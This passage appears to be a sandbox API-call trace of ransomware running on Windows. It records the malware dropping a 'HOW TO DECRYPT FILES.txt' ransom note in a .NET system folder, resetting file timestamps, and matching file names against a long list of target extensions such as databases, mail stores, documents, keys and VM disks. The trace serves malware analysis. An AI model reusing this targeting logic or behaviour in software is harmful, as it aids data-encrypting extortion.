ftLastAccessTime.dwLowDateTime=0x378804f0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x378804f0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.965] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0110.966] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0110.966] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3785a390, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x3785a390, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x3785a390, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0xea00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0110.966] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0110.966] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll") returned -1 [0110.966] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll") returned -1 [0110.966] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll") returned -1 [0110.966] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\*.*") returned="*.*" [0110.966] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\" [0110.966] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\") returned="" [0110.966] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\HOW TO DECRYPT FILES.txt" [0110.966] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.visualstu#\\a58534126a42a5dbdef4573bac06c734\\how to decrypt files.txt")) returned 0xffffffff [0110.966] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.visualstu#\\a58534126a42a5dbdef4573bac06c734\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0110.986] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0110.987] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0110.988] CloseHandle (hObject=0x90) returned 1 [0110.988] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\", lpString2="Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll" [0110.988] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.ems") returned 0 [0110.988] lstrlenA (lpString="*.ems") returned 5 [0110.988] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.db") returned 0 [0110.988] lstrlenA (lpString="*.db") returned 4 [0110.988] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.dbf") returned 0 [0110.988] lstrlenA (lpString="*.dbf") returned 5 [0110.988] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.myox") returned 0 [0110.988] lstrlenA (lpString="*.myox") returned 6 [0110.988] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.myo") returned 0 [0110.988] lstrlenA (lpString="*.myo") returned 5 [0110.988] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.qbw") returned 0 [0110.988] lstrlenA (lpString="*.qbw") returned 5 [0110.988] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.qbb") returned 0 [0110.988] lstrlenA (lpString="*.qbb") returned 5 [0110.988] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.qbm") returned 0 [0110.988] lstrlenA (lpString="*.qbm") returned 5 [0110.989] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.qbo") returned 0 [0110.989] lstrlenA (lpString="*.qbo") returned 5 [0110.989] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.qbx") returned 0 [0110.989] lstrlenA (lpString="*.qbx") returned 5 [0110.989] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.qba") returned 0 [0110.989] lstrlenA (lpString="*.qba") returned 5 [0110.989] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.qby") returned 0 [0110.989] lstrlenA (lpString="*.qby") returned 5 [0110.989] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.qbj") returned 0 [0110.989] lstrlenA (lpString="*.qbj") returned 5 [0110.989] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.ofx") returned 0 [0110.989] lstrlenA (lpString="*.ofx") returned 5 [0110.989] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.qif") returned 0 [0110.989] lstrlenA (lpString="*.qif") returned 5 [0110.989] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.mye") returned 0 [0110.989] lstrlenA (lpString="*.mye") returned 5 [0110.989] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.mbox") returned 0 [0110.989] lstrlenA (lpString="*.mbox") returned 6 [0110.989] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.eml") returned 0 [0110.989] lstrlenA (lpString="*.eml") returned 5 [0110.989] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.pst") returned 0 [0110.990] lstrlenA (lpString="*.pst") returned 5 [0110.990] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.ost") returned 0 [0110.990] lstrlenA (lpString="*.ost") returned 5 [0110.990] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.idx") returned 0 [0110.990] lstrlenA (lpString="*.idx") returned 5 [0110.990] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.dbx") returned 0 [0110.990] lstrlenA (lpString="*.dbx") returned 5 [0110.990] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.sql") returned 0 [0110.990] lstrlenA (lpString="*.sql") returned 5 [0110.990] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.mdb") returned 0 [0110.990] lstrlenA (lpString="*.mdb") returned 5 [0110.990] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.fdb") returned 0 [0110.990] lstrlenA (lpString="*.fdb") returned 5 [0110.990] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.wab") returned 0 [0110.990] lstrlenA (lpString="*.wab") returned 5 [0110.990] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.dat") returned 0 [0110.990] lstrlenA (lpString="*.dat") returned 5 [0110.990] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.txt") returned 0 [0110.990] lstrlenA (lpString="*.txt") returned 5 [0110.990] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.jpeg") returned 0 [0110.991] lstrlenA (lpString="*.jpeg") returned 6 [0110.991] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.jpg") returned 0 [0110.991] lstrlenA (lpString="*.jpg") returned 5 [0110.991] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.png") returned 0 [0110.991] lstrlenA (lpString="*.png") returned 5 [0110.991] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.php") returned 0 [0110.991] lstrlenA (lpString="*.php") returned 5 [0110.991] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.cs") returned 0 [0110.991] lstrlenA (lpString="*.cs") returned 4 [0110.991] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.cpp") returned 0 [0110.991] lstrlenA (lpString="*.cpp") returned 5 [0110.991] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.rar") returned 0 [0110.991] lstrlenA (lpString="*.rar") returned 5 [0110.991] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.zip") returned 0 [0110.991] lstrlenA (lpString="*.zip") returned 5 [0110.991] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.html") returned 0 [0110.991] lstrlenA (lpString="*.html") returned 6 [0110.991] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.htm") returned 0 [0110.991] lstrlenA (lpString="*.htm") returned 5 [0110.992] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.xlsx") returned 0 [0110.992] lstrlenA (lpString="*.xlsx") returned 6 [0110.992] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.xls") returned 0 [0110.992] lstrlenA (lpString="*.xls") returned 5 [0110.992] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.mp4") returned 0 [0110.992] lstrlenA (lpString="*.mp4") returned 5 [0110.992] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.ppt") returned 0 [0110.992] lstrlenA (lpString="*.ppt") returned 5 [0110.992] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.pptx") returned 0 [0110.992] lstrlenA (lpString="*.pptx") returned 6 [0110.992] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.doc") returned 0 [0110.992] lstrlenA (lpString="*.doc") returned 5 [0110.992] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.dot") returned 0 [0110.992] lstrlenA (lpString="*.dot") returned 5 [0110.992] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.docx") returned 0 [0110.992] lstrlenA (lpString="*.docx") returned 6 [0110.992] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.7z") returned 0 [0110.992] lstrlenA (lpString="*.7z") returned 4 [0110.992] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.tar") returned 0 [0110.992] lstrlenA (lpString="*.tar") returned 5 [0110.992] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.bz2") returned 0 [0110.992] lstrlenA (lpString="*.bz2") returned 5 [0110.993] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.gz") returned 0 [0110.993] lstrlenA (lpString="*.gz") returned 4 [0110.993] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.mkv") returned 0 [0110.993] lstrlenA (lpString="*.mkv") returned 5 [0110.993] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.eml") returned 0 [0110.993] lstrlenA (lpString="*.eml") returned 5 [0110.993] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.msg") returned 0 [0110.993] lstrlenA (lpString="*.msg") returned 5 [0110.993] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.edb") returned 0 [0110.993] lstrlenA (lpString="*.edb") returned 5 [0110.993] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.accdb") returned 0 [0110.993] lstrlenA (lpString="*.accdb") returned 7 [0110.993] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.odb") returned 0 [0110.993] lstrlenA (lpString="*.odb") returned 5 [0110.993] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.java") returned 0 [0110.993] lstrlenA (lpString="*.java") returned 6 [0110.993] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.asm") returned 0 [0110.993] lstrlenA (lpString="*.asm") returned 5 [0110.994] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.pfx") returned 0 [0110.994] lstrlenA (lpString="*.pfx") returned 5 [0110.994] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.pem") returned 0 [0110.994] lstrlenA (lpString="*.pem") returned 5 [0110.994] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.p12") returned 0 [0110.994] lstrlenA (lpString="*.p12") returned 5 [0110.994] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.gpg") returned 0 [0110.994] lstrlenA (lpString="*.gpg") returned 5 [0110.994] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.vsd") returned 0 [0110.994] lstrlenA (lpString="*.vsd") returned 5 [0110.994] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.odg") returned 0 [0110.994] lstrlenA (lpString="*.odg") returned 5 [0110.994] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.raw") returned 0 [0110.994] lstrlenA (lpString="*.raw") returned 5 [0110.994] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.nef") returned 0 [0110.994] lstrlenA (lpString="*.nef") returned 5 [0110.994] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.svg") returned 0 [0110.994] lstrlenA (lpString="*.svg") returned 5 [0110.994] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.psd") returned 0 [0110.994] lstrlenA (lpString="*.psd") returned 5 [0110.995] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.vmx") returned 0 [0110.995] lstrlenA (lpString="*.vmx") returned 5 [0110.995] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\a58534126a42a5dbdef4573bac06c734\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.ni.dll", pszSpec="*.vmdk") returned 0 [0110.995] lstrlenA (lpString="*.vmdk") returned 6 [0110.995] PathMatchSpecA 